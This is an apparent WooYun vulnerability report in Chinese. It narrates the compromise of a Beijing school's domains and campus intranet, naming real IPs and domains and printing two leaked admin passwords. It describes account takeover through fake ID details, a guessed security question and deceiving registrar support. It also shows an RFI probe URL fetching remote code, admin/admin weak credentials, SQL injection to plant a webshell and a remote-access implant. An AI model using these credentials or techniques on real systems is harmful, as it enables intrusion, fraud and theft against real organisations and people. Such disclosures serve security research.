WooYun.org

一、社工域名
0x0 开场白
上次利用社工 整进了八维内网平台 没拿到更高的权限 感觉还是有点小不爽 这次一起给整了。 http://wooyun.org/bugs/wooyun-2014-089452
0x1 信息收集

www.bwie.cn-Cms=Dede - 122.115.60.205
www.bwie.org - 122.115.60.198
baway.org.cn - 122.115.60.199
www.bwie.com-Cms=Dede - 122.115.60.204
www.bwie.net-Cms=Dede - 122.115.60.203
八维的网站一共有这么几个。 虽说都是漏洞百出的dedecms ，不过这玩意都是被二次开发的 后台也改了 只好社工咯
就拿这个com先下手把

通过简单的信息搜集 得知这两个邮箱是管理员的邮箱
域名万网买的
我在搜集资料中搜到这两个邮箱，看来都是管理员的。 进社工酷跑了一圈搜到两个密码
lidongmei740527
bjebin19780527这俩密码可以说一点用都没有。
0x2 拿到第一个帐号

在阿里云注册一下 发现被占用， 那么就一定注册过。

= = 只能碰运气去申诉了

基本信息都搜集到了 身份证什么的都是伪造瞎编的

功夫不负有心人 申诉成功了

结果上去发现屁都没有 是个没用的 到这我都想直接放弃了。。。
0x3 换思路,继续社
机智的我怎么会就这么点思路呢
既然万网不行，就来试试邮箱 只要和域名权限相关的一个都不放过
bjebin@126.com这个有密保问题，
问题是：我最喜欢的节日是什么
先输入了个国庆节 不对 然后输入春节 正确

成功修改密码

拿去重置万网密码时 本来是不行 只能用手机， 不能给邮箱发邮件改。
打电话问了下万网客服 他说周一再给打一遍 重置下手机号。
等到周一 给万网客服打了电话 说我手机号换了 只有绑定的邮箱 客服也是爽快 确认了我有邮箱权限 就给把绑定手机号改了
我再去重置万网的密码

更改下指向IP证明下

二、渗透内网平台
八维一共有两个内网管理平台
一个是海淀区(老校区)的管理平台 172.16.10.223:8080
另一个是大兴区(新校区)的管理平台 111.205.104.162:8080
上次整的是老校区的 这次来搞新校区

用bugscan 也没扫出啥玩意来
◾http://111.205.104.162/?phpinfo=https%3A%2F%2Fcirt.net%2Frfiinc.txt%3F
bugscan认为是文件包含 - -其实是 wampserver的phpinfo

好几个目录
泄漏不少信息

还有个bbs目录 是个discuz 3.2的
有弱口令
admin
admin

那个文件包含被补了
看下uc配置

是root权限
可以用这个
WooYun: Discuz!x xss反弹后台无防御sql注入getshell(附带exploit)
利用注入写一个webshell，只要权限够大就行
看phpinfo 得知绝对路径
然后按照那个漏洞操作

写成功了 好开森

system权限

不过让人无语的是内网才能连接。 lcx还不好使。
然后三块钱买了个临时服务器 配置好远控生成被控端 在那边执行

上线啦

话说我给自己加几百个积分 你们不介意吧 o(∩_∩)o